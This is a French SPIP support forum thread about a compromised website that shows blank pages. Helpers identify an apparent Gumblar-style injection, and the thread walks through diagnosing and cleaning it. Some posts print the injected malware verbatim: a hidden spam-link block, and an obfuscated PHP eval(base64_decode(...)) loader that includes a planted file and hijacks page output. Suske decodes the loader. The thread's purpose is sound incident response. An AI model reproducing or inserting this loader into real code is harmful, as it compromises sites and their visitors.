Problème de page blanche

Tippa

Janvier 2011

Bonjour,

Je suis en SPIP 1.9.2 et jusqu’ici tout fonctionnait à merveille sur mon site (www.aillery.com) hébergé chez OVH.

Depuis quelques temps tous mes liens aboutissent à une page blanche, seul ma page d’accueil est encore affichée. Selon le moteur utilisé les résultats diffèrent un peu, Chrome et IE me donnent une erreur 404, alors que Firefox fait comme si la page avait été trouvée mais affiche une page blanche.

N’ayant fait aucune modif récente sur mon site, je me demande bien par où orienter mes recherches.

J’ai consulté plusieurs articles sur ce forum mais rien ne me permet d’accéder de nouveau à mes articles. D’ailleurs je ne peux pas non plus accéder à la page ecrire, que ce soit avec le lien Administration, ou en entrant manuellement l’adresse.

J’ai vidé mon cache manuellement via FTP, mais rien n’y fait... J’ai renommé mon dossier de plugin, ma page d’accueil s’affiche bien alors mais les liens ne fonctionnent pas plus qu’avant...

J’avoue que je ne sais même pas par où chercher l’erreur ? Merci de votre aide et des pistes que vous pourrez me suggérer.

Olivier

Résolu

Par note Par date Par date chronologique

Indiquez l’intérêt que vous portez à cette réponse

0

Janvier 2011

Bonjour,
Je retire cette histoire de bug, évoqué dans l’autre fil:vous êtes en 1.9.2

Les pages blanches sont en fait des erreurs 404.(Page introuvable par le serveur)
Regarder les logs sous /tmp serait utile. Voir même les logs ovh...
Indiquez l’intérêt que vous portez à cette réponse

0

Tippa

Janvier 2011

Bonjour,

Merci de vous pencher sur mon souci. J’ai jeté un oeil sur les logs et à priori je ne vois rien. Mais quand on sait pas chercher souvent on voit rien alors je me permets d’en mettre quelques extraits :
mysql.log :
Echec connexion MySQL 2002 Can’t connect to local MySQL server through socket ’/var/run/mysqld/mysqld.sock’ (2)
Sep 15 09:28:09 e5693b9bef82b264 (pid 5142) GET /spip/spip.php ?article26%20&PHPSESSID=3ccb1ad822d464e7d6ec66d82933ec56
Sep 15 09:28:09 e5693b9bef82b264 (pid 5142) - INSERT IGNORE INTO 569119-2.spip_caches (fichier,id,type,taille) VALUES (’8/-metas-26-fr.e90617d5’,’1284542889’,’t’,’832’)
Sep 15 09:28:09 e5693b9bef82b264 (pid 5142) 2006 MySQL server has gone away
Sep 15 09:28:09 e5693b9bef82b264 (pid 5142) GET /spip/spip.php ?article26%20&PHPSESSID=3ccb1ad822d464e7d6ec66d82933ec56
Sep 15 09:28:09 e5693b9bef82b264 (pid 5142) - SELECT id_rubrique FROM 569119-2.spip_articles WHERE id_article=’26’
Sep 15 09:28:09 e5693b9bef82b264 (pid 5142) 2006 MySQL server has gone away
Sep 15 09:28:09 e5693b9bef82b264 (pid 5142) GET /spip/spip.php ?article26%20&PHPSESSID=3ccb1ad822d464e7d6ec66d82933ec56
Sep 15 09:28:09 e5693b9bef82b264 (pid 5142) - SELECT theme FROM 569119-2.spip_arty_themeassoc WHERE id=26 AND type=’article’
Sep 15 09:28:09 e5693b9bef82b264 (pid 5142) 2006 MySQL server has gone away
Sep 15 09:28:09 e5693b9bef82b264 (pid 5142) GET /spip/spip.php ?article26%20&PHPSESSID=3ccb1ad822d464e7d6ec66d82933ec56
Sep 15 09:28:09 e5693b9bef82b264 (pid 5142) - SELECT theme FROM 569119-2.spip_arty_themeassoc WHERE id=0 AND type=’rubrique’
Sep 15 09:28:09 e5693b9bef82b264 (pid 5142) 2006 MySQL server has gone away
Dec 01 10:11:10 8b7aa002e22e6e2e (pid 14826) GET /spip/spip.php/ ?kvcy=47
Dec 01 10:11:11 8b7aa002e22e6e2e (pid 14826) - INSERT IGNORE INTO 569119-2.spip_caches (fichier,id,type,taille) VALUES (’f/spip-spip-%3Fkvcy%3D47.37e26d23’,’1291212670’,’t’,’5516’)
Dec 01 10:11:11 8b7aa002e22e6e2e (pid 14826) 2013 Lost connection to MySQL server during query
Je vois bine un cannot connect to mysql base mais je ne sais pas vraiment si je peux en interpréter quelquechose.

et sur spip.log :
[plugins/magusine//squelettes/blocs/sommaire/derniers-liens] fond=’derniers-liens’, conteneur=’2’, parametre=’3’, lang=’fr’, date=’2011-01-10 16:50:44’, date_redac=’2011-01-10 16:50:44’ (0 octets)
Jan 10 16:50:44 7851d704669ce1f1 (pid 18467) Creation du cache 5/-derniers_liens-0-2-3-fr.ce4e3a45 pour 3600 secondes
Jan 10 16:50:45 7851d704669ce1f1 (pid 18467) calcul (0.47s) [plugins/magusine//squelettes/blocs/logos/formatage_logo_liste] fond=’formatage_logo_liste’, id_article=’29’, conteneur=’3’, lang=’fr’, date=’2011-01-10 16:50:44’, date_redac=’2011-01-10 16:50:44’ (769 octets)
Jan 10 16:50:45 7851d704669ce1f1 (pid 18467) Creation du cache f/-for-29-3-fr.90fc7ac5 pour 3600 secondes
Jan 10 16:50:45 7851d704669ce1f1 (pid 18467) calcul (0.97s) [plugins/magusine//squelettes/blocs/sommaire/articles-une] fond=’articles-une’, conteneur=’3’, parametre=’simple’, lang=’fr’, date=’2011-01-10 16:50:44’, date_redac=’2011-01-10 16:50:44’ (908 octets)
Jan 10 16:50:45 7851d704669ce1f1 (pid 18467) Creation du cache 2/-art-0-3-sim-fr.fcfc6455 pour 3600 secondes
Jan 10 16:50:46 7851d704669ce1f1 (pid 18467) calcul (0.29s) [plugins/magusine//squelettes/blocs/sommaire/editorial] fond=’editorial’, conteneur=’3’, lang=’fr’, date=’2011-01-10 16:50:45’, date_redac=’2011-01-10 16:50:45’ (2718 octets)
Jan 10 16:50:46 7851d704669ce1f1 (pid 18467) Creation du cache 8/-edi-0-3-par-fr.d29ded39 pour 3600 secondes

Merci par avance pour vos lumières,

Cordialement,

Olivier
Indiquez l’intérêt que vous portez à cette réponse

0
anic

Janvier 2011
Bonjour,
A la lecture du source de la home page, le site semble être hacké.
par le ver gumblar on dirait (virus pc vole les codes ftp du pc)
voir la fin du source de la racine du site et
<style>#tscl {position:absolute;overflow:auto;height:0;width:0;}</style><font id="tscl"><br><a href="http://www.westernhouseboating.com/rum-when-is-greek-christmas.htm">When Is Greek Christmas</a></br>
Nettoyer dabord le pc depuis lequel les ftp ont été fait.
changez les codes ftp, mysql chez l’hébergeur

reinstallez le site et ensuite le mettre à jour (au moins 1.9.2.i)

Tippa

Janvier 2011

Merci beaucoup pour cette première information. je vois bien en effet tous les liens ajoutées sur ma page d'accueil.
Par contre 2 choses  m'étonnent :
1/ J'ai eu beau chercher avec notepad dans tous mes fichiers , je ne trouve sur aucun d'eux, ni {<iframe src=}, ni {“(function(“}, ni même après vérif de tous les {http://} ... Qui semblent être la marque de ce ver?
2/ J'ai eu beau refaire des scan de tout, aucune infection trouvé ni par AVG (à jour bien sûr), ni par Spybot...

Avant de me lancer dans une réinstallation complète avec MAJ ers un SPIP version 2 tant qu'à faire, j'aimerai être sur d'être propre afin de ne pas le faire inutilement.

Et surtout comme j'aime bien comprendre, comment puis-je ne rien trouver alors que mon site à bien l'air infecté???

Si je réinstalle tout en version 2 et en changeant mes codes FTP, serais-je propre? Je ne vois pas que faire de plus étant donné que tout mes scans me disent tout va bien???

Merci d'avance pour vos lumières.

Indiquez l’intérêt que vous portez à cette réponse

0

anic

Janvier 2011

Bonjour,

J’ai eu beau chercher...

Un des moyen de savoir ce qui est modifié, est de voir les dates des fichiers sur le ftp. Je regarderais la bdd aussi. Comparer
avec les dernière sauvgardes etc.
– ton site est dans un sous répertoire, il y a t il d’autres applications sur le serveur ?
– as-tu regardé spip.php inc-version, fichier index ?

Ce qui est sur c’est qu’il y a une injection de code sur ton site. Ne connais ni le nom ni l’origine du trou.

Enfin de la mise à jour, il n’est pas sûr que les plugins suivent vers la version 2, dans un premier temps et après avoir trouvé la source du mal, j’aurais fais une installation vierge 1.9.2i (avec le dernier écran de sécurité ;sais plus si c’est préconisé),
Indiquez l’intérêt que vous portez à cette réponse

0

Tippa

Janvier 2011

Ah le J’ai eu beau... Une bonne expression de nos campagnes ;-)

Oui en effet sur mon serveur j’ai aussi une galerie photo perso, qui fonctionne bien (aillery.com/photo), et aussi 2 autres petites galeries photos /inkerman et /flat qui fonctionne aussi nickel.
Dommage le seul site impacté est le plus important, celui qui me sert pour bosser :-(

J’ai fait quelques modifs manuelles pour voir sur mes fichiers index et il me semble que ma page d’accueil ne prend plus tout les liens qu’elle avait. C’est une mini bonne nouvelle, car mes liens ne fonctionnent toujours pas, mais bon on se contente de cette mini victoire pour le moment.

Pour le passage en version 2, rien de grave car je n’utilise que le plugin magusine qui est compatible en version 2, magusine portage 2. Je pense donc en "profiter" pour tout updater. Tant qu’à refaire...

Ma seule inquiétude étant que n’ayant rien trouvé comme infection nulle part, si je mets la version 2 ne risque-je pas de retomber dans le même bazar à peine mon site reconstruit ?

Encore merci pour votre aide et vos conseils,

Olivier
Indiquez l’intérêt que vous portez à cette réponse

0

Suske

Janvier 2011

Le site a l’air remis de ses émotions.

Si le problème est dû à un "vol" de vos identifiants ftp, la seule solution est d’en changer (et de nettoyer le PC éventuellement infecté).

Si une faille de SPIP a été utilisée, il faut mettre à jour la version spip et il est recommandé d’installer l’écran de sécurité :

http://www.spip.net/fr_article4200.html
Indiquez l’intérêt que vous portez à cette réponse

0

anic

Janvier 2011

re

une application hacké peut fonctionner. C’est souvent le cas.

Le hacker de la page principale du site et peut être intervenu depuis une autre application du site.

au fait que donne les contrôles des dates des fichiers ftp?
Indiquez l’intérêt que vous portez à cette réponse

0

Tippa

Janvier 2011

Pour ce qui est des dates de fichiers rien à signaler, tous ont de vieilles dates sauf les fichiers "dynamiques" qui à force de contrôle et de MAJ sont tous à aujourd’hui ;-)

J’ai compris aussi une chose tous mes fichiers hackés ont une ligne ajoutées au début :
<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lei41Ni9haWxsZXJ5L3d3dy9waWNzL2FsYnVtcy9UYWlwZWkvU2VsZWNXZWIvMDMgV2VkZGluZyBHb3duIGFuZCBQdXJwbGUgRHJlc3MyL2NvcHBlci5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>
Aucune idée de ce que ça signifie, mais c’est en effaçant cette ligne de mon index.php que j’ai réussi à me débarrasser de ma collection de lien sur ma page d’accueil. C’est déjà ça.
Indiquez l’intérêt que vous portez à cette réponse

0
Suske

Janvier 2011
Ben c’est pas fini...

Ce code signifie en fait :
if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/homez.56/aillery/www/pics/albums/Taipei/SelecWeb/03 Wedding Gown and Purple Dress2/copier.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}
Donc tu as, au minimum un fichier très suspect : /homez.56/aillery/www/pics/albums/Taipei/SelecWeb/03 Wedding Gown and Purple Dress2/copier.php

Si c’était mon serveur, j’effacerais tout.
Indiquez l’intérêt que vous portez à cette réponse

0

Tippa

Janvier 2011

Alors là j’avoue que je suis épaté : Comment fais tu pour "traduire" ma ligne de chiffre en ligne de code presque lisible ?

Le site en question n’existe plus mais je n’avais jamais effacé son dossier ! Et O miracle en effaçant ce dossier à l’instant mes liens refonctionne !
J’ai viré tous le dossier pics et tout remarche !

JE SUIS TROP JOUASSE !

Bon j’espère ne pas avoir de mauvaise surprise à venir, mais pour l’instant je touche plus à rien ! Assez perdui de temps avec cette saloperie !

Mille merci à tous les 2 pour votre aide, et si tu eux me dire comment tu as interprété le eval base64 en un code php, je suis curieux !

Tsaw et merci
Indiquez l’intérêt que vous portez à cette réponse

0

Suske

Janvier 2011

j’ai créé en local un fichier.php dans lequel j’ai mis
<?php $a=base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lei41Ni9haWxsZXJ5L3d3dy9waWNzL2FsYnVtcy9UYWlwZWkvU2VsZWNXZWIvMDMgV2VkZGluZyBHb3duIGFuZCBQdXJwbGUgRHJlc3MyL2NvcHBlci5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0='); echo $a; ?>
Puis je l’ai appelé : http://localhost/fichier.php

Si c’est bon tu mets "Résolu" ?
Indiquez l’intérêt que vous portez à cette réponse

0

Tippa

Janvier 2011

Superbe j’ai tout compris ! ou presque ;-)

Mais ça marche !
Indiquez l’intérêt que vous portez à cette réponse

0

Suske

Janvier 2011

base64 est un moyen d’encoder des informations. La ligne php que vous avez relevée décode cette suite de caractères ( eval(base64_decode... ) de telle sorte que le code décodé soit exécuté lors de l’appel du fichier corrompu. Sans surprise, c’est du php qui lance l’exécution d’un autre fichier...

Au lieu de "eval" le code en base64 il suffit d’en enregistrer le contenu dans une variable $a puis d’afficher le contenu de cette variable.

On peut aussi utiliser des outils sur le web comme http://www.motobit.com/util/base64-....